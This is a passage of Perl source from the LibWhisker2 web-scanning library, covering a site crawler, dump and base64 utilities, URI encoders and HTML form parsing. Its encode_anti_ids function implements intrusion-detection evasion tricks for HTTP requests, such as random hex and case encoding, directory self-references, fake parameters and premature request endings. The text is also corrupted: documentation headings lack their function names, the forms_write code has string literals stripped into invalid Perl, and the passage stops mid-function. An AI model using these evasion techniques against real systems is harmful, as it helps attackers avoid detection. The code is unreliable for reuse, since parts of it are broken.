0; delete $REQ->{whisker}->{parameters}; http_fixup_request($REQ); push @$Q, \@ST; while (@$Q) { @ST = @{ shift @$Q }; next if ( defined $TRACK->{ $ST[2] } && $TRACK->{ $ST[2] } ne '?' ); if ( $ST[3] > $C->{depth} ) { $TRACK->{ $ST[2] } = '?' if ( $CONFIG->{save_skipped} > 0 ); next; } $ST[4] = uri_get_dir( $ST[2] ); $REQ->{whisker}->{uri} = $ST[2]; if ( $ST[5] ne '' && $CONFIG->{use_referrers} > 0 ) { $REQ->{Referrer} = $ST[5]; } my $result = _crawl_do_request( $REQ, $RESP, $C ); if ( $result == 1 || $result == 2 ) { push @{ $C->{errors} }, "$ST[2]: $RESP->{whisker}->{error}"; next; } $COUNT++; $TRACK->{ $ST[2] } = $RESP->{whisker}->{code} if ( $result == 0 || $result == 4 ); $TRACK->{ $ST[2] } = '?' if ( ( $result == 3 || $result == 5 ) && $CONFIG->{save_skipped} > 0 ); if ( defined $RESP->{server} && !ref( $RESP->{server} ) ) { $C->{server_tags}->{ $RESP->{server} }++; } if ( defined $RESP->{'set-cookie'} ) { if ( $CONFIG->{save_cookies} > 0 ) { if ( ref( $RESP->{'set-cookie'} ) ) { $C->{cookies}->{$_}++ foreach ( @{ $RESP->{'set-cookie'} } ); } else { $C->{cookies}->{ $RESP->{'set-cookie'} }++; } } cookie_read( $C->{jar}, $RESP ) if ( $CONFIG->{reuse_cookies} > 0 ); } next if ( $result == 4 || $result == 5 ); next if ( scalar @$Q > $CONFIG->{url_limit} ); if ( $result == 0 ) { # page should be parsed if ( $CONFIG->{source_callback} != 0 && ref( $CONFIG->{source_callback} ) eq 'CODE' ) { &{ $CONFIG->{source_callback} }($C); } html_find_tags( \$RESP->{whisker}->{data}, \&_crawl_extract_links_test, 0, $C, \%_crawl_linktags ); $C->{parsed_page_count}++; } push @$URLS, $RESP->{location} if ( $result == 3 ); foreach $T (@$URLS) { $T =~ tr/\0\r\n//d; next if ( length($T) == 0 ); next if ( $T =~ /^#/i ); # fragment push @{ $C->{referrers}->{$T} }, $ST[2] if ( $CONFIG->{save_referrers} > 0 ); if ( $T =~ /^([a-zA-Z0-9]*):/ && lc($1) ne 'http' && lc($1) ne 'https' ) { push @{ $C->{non_http}->{$T} }, $ST[2] if ( $CONFIG->{save_non_http} > 0 ); next; } if ( substr( $T, 0, 2 ) eq '//' && $CONFIG->{netloc_bug} > 0 ) { if ( $REQ->{whisker}->{ssl} > 0 ) { $T = 'https:' . $T; } else { $T = 'http:' . $T; } } if ( $CONFIG->{callback} != 0 ) { next if &{ $CONFIG->{callback} }( $T, $C ); } $T = uri_absolute( $T, $ST[4], $CONFIG->{normalize_uri} ); # (uri,protocol,host,port,params,frag,user,pass) @v = uri_split($T); # make sure URL is on same host and port if ( ( defined $v[2] && $v[2] ne $ST[0] ) || ( $v[3] > 0 && $v[3] != $ST[1] ) ) { $C->{offsites}->{ uri_join(@v) }++ if ( $CONFIG->{save_offsites} > 0 ); next; } if ( $v[0] =~ /\.([a-z0-9]+)$/i ) { if ( defined $CONFIG->{skip_ext}->{ lc($1) } ) { $TRACK->{ $v[0] } = '?' if ( $CONFIG->{save_skipped} > 0 ); next; } } if ( defined $v[4] && $CONFIG->{use_params} > 0 ) { $TRACK->{ $v[0] } = '?' if ( $CONFIG->{params_double_record} > 0 && !defined $TRACK->{ $v[0] } ); $v[0] = $v[0] . '?' . $v[4]; } next if ( defined $TRACK->{ $v[0] } ) ; # we've processed this already # ST[] = [ 0.HOST, 1.PORT, 2.URL, 3.DEPTH, 4.CWD, 5.REF ] push @$Q, [ $ST[0], $ST[1], $v[0], $ST[3] + 1, '', $ST[2] ]; } # foreach @$URLS = (); # reset for next round } # while return $COUNT; } # end sub crawl ##################################################### sub _crawl_extract_links_test { my ( $TAG, $hr, $dr, $start, $len, $OBJ ) = ( lc(shift), @_ ); return undef if ( !scalar %$hr ); # fastpath quickie # we know this is defined, due to our tagmap my $t = $_crawl_linktags{$TAG}; while ( my ( $key, $val ) = each %$hr ) { # normalize element values $$hr{ lc($key) } = $val; } # all of this just to catch meta refresh URLs if ( $TAG eq 'meta' && defined $$hr{'http-equiv'} && $$hr{'http-equiv'} eq 'refresh' && defined $$hr{'content'} && $$hr{'content'} =~ m/url=(.+)/i ) { push( @{ $OBJ->{urls} }, $1 ); } elsif ( ref($t) ) { foreach (@$t) { push( @{ $OBJ->{urls} }, $$hr{$_} ) if ( defined $$hr{$_} ); } } else { push( @{ $OBJ->{urls} }, $$hr{$t} ) if ( defined $$hr{$t} ); } if ( $TAG eq 'form' && defined $$hr{action} ) { my $u = $OBJ->{response}->{whisker}->{uri}; $OBJ->{forms}->{ uri_absolute( $$hr{action}, $u, 1 ) }++; } return undef; } ################################################################ sub _crawl_do_request_ex { my ( $hrin, $hrout, $OBJ ) = @_; my $ret; $ret = http_do_request( $hrin, $hrout ); return ( 2, $ret ) if ( $ret == 2 ); # if there was connection error, do not continue if ( $ret == 0 ) { # successful request # WARNING: what if *all* HEAD respones are 302'd on purpose, but # all GETs are normal? if ( $$hrout{whisker}->{code} < 308 && $$hrout{whisker}->{code} > 300 ) { if ( $OBJ->{config}->{follow_moves} > 0 ) { return ( 3, $ret ) if ( defined $$hrout{location} && !ref( $$hrout{location} ) ); } return ( 5, $ret ); # not avail } if ( $$hrout{whisker}->{code} == 200 ) { # no content-type is treated as text/htm if ( defined $$hrout{'content-type'} && $$hrout{'content-type'} !~ /^text\/htm/i ) { return ( 4, $ret ); } } } return ( -1, $ret ); # fallthrough } ################################################################ sub _crawl_do_request { my ( $hrin, $hrout, $OBJ ) = @_; my ( $cret, $lwret ); if ( $OBJ->{config}->{do_head} && $$hrin{whisker}->{method} ne 'HEAD' ) { my $save = $$hrin{whisker}->{method}; $$hrin{whisker}->{method} = 'HEAD'; ( $cret, $lwret ) = _crawl_do_request_ex( $hrin, $hrout, $OBJ ); $$hrin{whisker}->{method} = $save; return $cret if ( $cret > 0 ); if ( $lwret == 0 ) { # successful request if ( $$hrout{whisker}->{code} == 501 ) { # HEAD not allowed $OBJ->{config}->{do_head} = 0; # no more HEAD requests } } # request errors are essentially redone via GET, below } ( $cret, $lwret ) = _crawl_do_request_ex( $hrin, $hrout, $OBJ ); return $lwret if ( $cret < 0 ); return $cret; } } # CRAWL_CONTAINER ################################################################ ######################################################################## =item B Params: $name, \@array [, $name, \%hash, $name, \$scalar ] Return: $code [ undef on error ] The dump function will take the given $name and data reference, and will create an ASCII perl code representation suitable for eval'ing later to recreate the same structure. $name is the name of the variable that it will be saved as. Example: $output = LW2::dump('request',\%request); NOTE: dump() creates anonymous structures under the name given. For example, if you dump the hash %hin under the name 'hin', then when you eval the dumped code you will need to use %$hin, since $hin is now a *reference* to a hash. =cut sub dump { my %what = @_; my ( $final, $k, $v ) = (''); while ( ( $k, $v ) = each %what ) { return undef if ( ref($k) || !ref($v) ); $final .= "\$$k = " . _dump( 1, $v, 1 ); $final =~ s#,\n$##; $final .= ";\n"; } return $final; } ######################################################################## =item B Params: $file, $name, \@array [, $name, \%hash, $name, \@scalar ] Return: 0 if success; 1 if error This calls dump() and saves the output to the specified $file. Note: LW does not checking on the validity of the file name, it's creation, or anything of the sort. Files are opened in overwrite mode. =cut sub dump_writefile { my $file = shift; my $output = &dump(@_); return 1 if ( !open( OUT, ">$file" ) || !defined $output ); binmode(OUT); print OUT $output; close(OUT); } ######################################################################## sub _dump { # dereference and dump an element my ( $t, $ref, $depth ) = @_; my ( $out, $k, $v ) = (''); $depth ||= 1; # to protect against circular loops return 'undef' if ( $depth > 128 ); if ( !defined $ref ) { return 'undef'; } elsif ( ref($ref) eq 'HASH' ) { $out .= "{\n"; while ( ( $k, $v ) = each %$ref ) { # next if ( $k eq '' ); $out .= "\t" x $t; $out .= _dumpd($k) . ' => '; if ( ref($v) ) { $out .= _dump( $t + 1, $v, $depth + 1 ); } else { $out .= _dumpd($v); } $out .= ",\n" unless ( substr( $out, -2, 2 ) eq ",\n" ); } $out =~ s#,\n$#\n#; $out .= "\t" x ( $t - 1 ); $out .= "},\n"; } elsif ( ref($ref) eq 'ARRAY' ) { $out .= "["; if ( ~~@$ref ) { $out .= "\n"; foreach $v (@$ref) { $out .= "\t" x $t; if ( ref($v) ) { $out .= _dump( $t + 1, $v, $depth + 1 ); } else { $out .= _dumpd($v); } $out .= ",\n" unless ( substr( $out, -2, 2 ) eq ",\n" ); } $out =~ s#,\n$#\n#; $out .= "\t" x ( $t - 1 ); } $out .= "],\n"; } elsif ( ref($ref) eq 'SCALAR' ) { $out .= _dumpd($$ref); } elsif ( ref($ref) eq 'REF' ) { $out .= _dump( $t, $$ref, $depth + 1 ); } elsif ( ref($ref) ) { # unknown/unsupported ref $out .= "undef"; } else { # normal scalar $out .= _dumpd($ref); } return $out; } ######################################################################## sub _dumpd { # escape a scalar string my $v = shift; return 'undef' if ( !defined $v ); return "''" if ( $v eq '' ); return "$v" if ( $v eq '0' || $v !~ tr/0-9//c && $v !~ m#^0+# ); if ( $v !~ tr/ !-~//c ) { $v =~ s/(['\\])/\\$1/g; return "'$v'"; } $v =~ s#\\#\\\\#g; $v =~ s#"#\\"#g; $v =~ s#\r#\\r#g; $v =~ s#\n#\\n#g; $v =~ s#\t#\\t#g; $v =~ s#\$#\\\$#g; $v =~ s#([^!-~ ])#sprintf('\\x%02x',ord($1))#eg; return "\"$v\""; } ######################################################################## ######################################################################## { # package variables my $MIMEBASE64_TRYLOADING = 1; ######################################################################## =item B Params: $data [, $eol] Return: $b64_encoded_data This function does Base64 encoding. If the binary MIME::Base64 module is available, it will use that; otherwise, it falls back to an internal perl version. The perl version carries the following copyright: Copyright 1995-1999 Gisle Aas NOTE: the $eol parameter will be inserted every 76 characters. This is used to format the data for output on a 80 character wide terminal. =cut sub encode_base64 { if ($MIMEBASE64_TRYLOADING) { eval "require MIME::Base64"; $MIMEBASE64_TRYLOADING = 0; } goto &MIME::Base64::encode_base64 if ($MIME::Base64::VERSION); my $res = ""; my $eol = $_[1]; $eol = "\n" unless defined $eol; pos( $_[0] ) = 0; while ( $_[0] =~ /(.{1,45})/gs ) { $res .= substr( pack( 'u', $1 ), 1 ); chop($res); } $res =~ tr|` -_|AA-Za-z0-9+/|; my $padding = ( 3 - length( $_[0] ) % 3 ) % 3; $res =~ s/.{$padding}$/'=' x $padding/e if $padding; if ( length $eol ) { $res =~ s/(.{1,76})/$1$eol/g; } $res; } ######################################################################## =item B Params: $data Return: $b64_decoded_data A perl implementation of base64 decoding. The perl code for this function was actually taken from an older MIME::Base64 perl module, and bears the following copyright: Copyright 1995-1999 Gisle Aas =cut sub decode_base64 { if ($MIMEBASE64_TRYLOADING) { eval "require MIME::Base64"; $MIMEBASE64_TRYLOADING = 0; } goto &MIME::Base64::decode_base64 if ($MIME::Base64::VERSION); my $str = shift; my $res = ""; $str =~ tr|A-Za-z0-9+=/||cd; $str =~ s/=+$//; # remove padding $str =~ tr|A-Za-z0-9+/| -_|; # convert to uuencoded format while ( $str =~ /(.{1,60})/gs ) { my $len = chr( 32 + length($1) * 3 / 4 ); # compute length byte $res .= unpack( "u", $len . $1 ); # uudecode } $res; } ######################################################################## } # end package variables ######################################################################## =item B Params: $data Return: $result This function encodes every character (except the / character) with normal URL hex encoding. =cut sub encode_uri_hex { # normal hex encoding my $str = shift; $str =~ s/([^\/])/sprintf("%%%02x",ord($1))/ge; return $str; } ######################################################################### =item B Params: $data Return: $result This function randomly encodes characters (except the / character) with normal URL hex encoding. =cut sub encode_uri_randomhex { # random normal hex encoding my @T = split( //, shift ); my $s; foreach (@T) { if (m#[;=:&@\?]#) { $s .= $_; next; } if ( ( rand() * 2 ) % 2 == 1 ) { $s .= sprintf( "%%%02x", ord($_) ); } else { $s .= $_; } } return $s; } ######################################################################### =item B Params: $data Return: $result This function randomly changes the case of characters in the string. =cut sub encode_uri_randomcase { my ( $x, $uri ) = ( '', shift ); return $uri if ( $uri !~ tr/a-zA-Z// ); # fast-path my @T = split( //, $uri ); for ( $x = 0 ; $x < ( scalar @T ) ; $x++ ) { if ( ( rand() * 2 ) % 2 == 1 ) { $T[$x] =~ tr/A-Za-z/a-zA-Z/; } } return join( '', @T ); } ######################################################################### =item B Params: $data Return: $result This function converts a normal string into Windows unicode format (non-overlong or anything fancy). =cut sub encode_unicode { my ( $c, $r ) = ( '', '' ); foreach $c ( split( //, shift ) ) { $r .= pack( "v", ord($c) ); } return $r; } ######################################################################### =item B Params: $unicode_string Return: $decoded_string This function attempts to decode a unicode (UTF-8) string by converting it into a single-byte-character string. Overlong characters are converted to their standard characters in place; non-overlong (aka multi-byte) characters are substituted with the 0xff; invalid encoding characters are left as-is. Note: this function is useful for dealing with the various unicode exploits/vulnerabilities found in web servers; it is *not* good for doing actual UTF-8 parsing, since characters over a single byte are basically dropped/replaced with a placeholder. =cut sub decode_unicode { my $str = $_[0]; return $str if ( $str !~ tr/!-~//c ); # fastpath my ( $lead, $count, $idx ); my $out = ''; my $len = length($str); my ( $ptr, $no, $nu ) = ( 0, 0, 0 ); while ( $ptr < $len ) { my $c = substr( $str, $ptr, 1 ); if ( ord($c) >= 0xc0 && ord($c) <= 0xfd ) { $count = 0; $c = ord($c) << 1; while ( ( $c & 0x80 ) == 0x80 ) { $c <<= 1; last if ( $count++ == 4 ); } $c = ( $c & 0xff ); for ( $idx = 1 ; $idx < $count ; $idx++ ) { my $o = ord( substr( $str, $ptr + $idx, 1 ) ); $no = 1 if ( $o != 0x80 ); $nu = 1 if ( $o < 0x80 || $o > 0xbf ); } my $o = ord( substr( $str, $ptr + $idx, 1 ) ); $nu = 1 if ( $o < 0x80 || $o > 0xbf ); if ($nu) { $out .= substr( $str, $ptr++, 1 ); } else { if ($no) { $out .= "\xff"; # generic replacement char } else { my $prior = ord( substr( $str, $ptr + $count - 1, 1 ) ) << 6; $out .= pack( "C", (( ord( substr( $str, $ptr + $count, 1 ) ) & 0x7f ) + $prior ) & 255 ); } $ptr += $count + 1; } $no = $nu = 0; } else { $out .= $c; $ptr++; } } return $out; } ######################################################################## =item B Params: \%request, $modes Return: nothing encode_anti_ids computes the proper anti-ids encoding/tricks specified by $modes, and sets up %hin in order to use those tricks. Valid modes are (the mode numbers are the same as those found in whisker 1.4): =over 4 =item 1 Encode some of the characters via normal URL encoding =item 2 Insert directory self-references (/./) =item 3 Premature URL ending (make it appear the request line is done) =item 4 Prepend a long random string in the form of "/string/../URL" =item 5 Add a fake URL parameter =item 6 Use a tab instead of a space as a request spacer =item 7 Change the case of the URL (works against Windows and Novell) =item 8 Change normal seperators ('/') to Windows version ('\') =item 9 Session splicing [NOTE: not currently available] =back You can set multiple modes by setting the string to contain all the modes desired; i.e. $modes="146" will use modes 1, 4, and 6. =cut sub encode_anti_ids { my ( $rhin, $modes ) = ( shift, shift ); my ( @T, $x, $c, $s, $y ); my $ENCODED = 0; my $W = $$rhin{'whisker'}; return if ( !( defined $rhin && ref($rhin) ) ); # in case they didn't do it already $$rhin{'whisker'}->{'uri_orig'} = $$rhin{'whisker'}->{'uri'}; # note: order is important! # mode 9 - session splicing #if($modes=~/9/){ # $$rhin{'whisker'}->{'ids_session_splice'}=1; #} # mode 4 - prepend long random string if ( $modes =~ /4/ ) { $s = ''; if ( $$W{'uri'} =~ m#^/# ) { $y = &utils_randstr; $s .= $y while ( length($s) < 512 ); $$W{'uri'} = "/$s/.." . $$W{'uri'}; } } # mode 7 - (windows) random case sensitivity if ( $modes =~ /7/ ) { $$W{'uri'} = encode_uri_randomcase( $$W{'uri'} ); } # mode 2 - directory self-reference (/./) if ( $modes =~ /2/ ) { $$W{'uri'} =~ s#/#/./#g; } # mode 8 - windows directory separator (\) if ( $modes =~ /8/ ) { $$W{'uri'} =~ s#/#\\#g; $$W{'uri'} =~ s#^\\#/#; $$W{'uri'} =~ s#^([a-zA-Z0-9_]+):\\#$1://#; $$W{'uri'} =~ s#\\$#/#; } # mode 1 - random URI (non-UTF8) encoding if ( $modes =~ /1/ ) { if ( $ENCODED == 0 ) { $$W{'uri'} = encode_uri_randomhex( $$W{'uri'} ); $ENCODED = 1; } } # mode 5 - fake parameter if ( $modes =~ /5/ ) { ( $s, $y ) = ( &utils_randstr, &utils_randstr ); $$W{'uri'} = "/$s.html%3F$y=/../$$W{'uri'}"; } # mode 3 - premature URL ending if ( $modes =~ /3/ ) { $s = &utils_randstr; $$W{'uri'} = "/%20HTTP/1.1%0d%0aAccept%3a%20$s/../..$$W{'uri'}"; } # mode 6 - TAB as request spacer if ( $modes =~ /6/ ) { $$W{'http_space1'} = "\t"; } } =item B The goal is to parse the variable, human-readable HTML into concrete structures useable by your program. The forms functions does do a good job at making these structures, but I will admit: they are not exactly simple, and thus not a cinch to work with. But then again, representing something as complex as a HTML form is not a simple thing either. I think the results are acceptable for what's trying to be done. Anyways... Forms are stored in perl hashes, with elements in the following format: $form{'element_name'}=@([ 'type', 'value', @params ]) Thus every element in the hash is an array of anonymous arrays. The first array value contains the element type (which is 'select', 'textarea', 'button', or an 'input' value of the form 'input-text', 'input-hidden', 'input-radio', etc). The second value is the value, if applicable (it could be undef if no value was specified). Note that select elements will always have an undef value--the actual values are in the subsequent options elements. The third value, if defined, is an anonymous array of additional tag parameters found in the element (like 'onchange="blah"', 'size="20"', 'maxlength="40"', 'selected', etc). The array does contain one special element, which is stored in the hash under a NULL character ("\0") key. This element is of the format: $form{"\0"}=['name', 'method', 'action', @parameters]; The element is an anonymous array that contains strings of the form's name, method, and action (values can be undef), and a @parameters array similar to that found in normal elements (above). Accessing individual values stored in the form hash becomes a test of your perl referencing skills. Hint: to access the 'value' of the third element named 'choices', you would need to do: $form{'choices'}->[2]->[1]; The '[2]' is the third element (normal array starts with 0), and the actual value is '[1]' (the type is '[0]', and the parameter array is '[2]'). =cut ################################################################ # Cluster global variables %_forms_ELEMENTS = ( 'form' => 1, 'input' => 1, 'textarea' => 1, 'button' => 1, 'select' => 1, 'option' => 1, '/select' => 1 ); ################################################################ =item B Params: \$html_data Return: \@found_forms This function parses the given $html_data into libwhisker form hashes. It returns a reference to an array of hash references to the found forms. =cut sub forms_read { my $dr = shift; return undef if ( !ref($dr) || length($$dr) == 0 ); my $A = [ {}, [] ]; html_find_tags( $dr, \&_forms_parse_callback, 0, $A, \%_forms_ELEMENTS ); if ( scalar %{ $A->[0] } ) { push( @{ $A->[1] }, $A->[0] ); } return $A->[1]; } ################################################################ =item B Params: \%form_hash Return: $html_of_form [undef on error] This function will take the given %form hash and compose a generic HTML representation of it, formatted with tabs and newlines in order to make it neat and tidy for printing. Note: this function does *not* escape any special characters that were embedded in the element values. =cut sub forms_write { my $hr = shift; return undef if ( !ref($hr) || !( scalar %$hr ) ); return undef if ( !defined $$hr{"\0"} ); my $t = '[0] . '" method="'; $t .= $$hr{"\0"}->[1] . '" action="' . $$hr{"\0"}->[2] . '"'; if ( defined $$hr{"\0"}->[3] ) { $t .= ' ' . join( ' ', @{ $$hr{"\0"}->[3] } ); } $t .= ">\n"; my ( $name, $ar ); while ( ( $name, $ar ) = each(%$hr) ) { next if ( $name eq "\0" ); next if ( $name eq '' && $ar->[0]->[0] eq '' ); foreach $a (@$ar) { my $P = ''; $P = ' ' . join( ' ', @{ $$a[2] } ) if ( defined $$a[2] ); $t .= "\t"; if ( $$a[0] eq 'textarea' ) { $t .= "\n"; } elsif ( $$a[0] =~ m/^input-(.+)$/ ) { $t .= "\n"; } elsif ( $$a[0] eq 'option' ) { $t .= "\t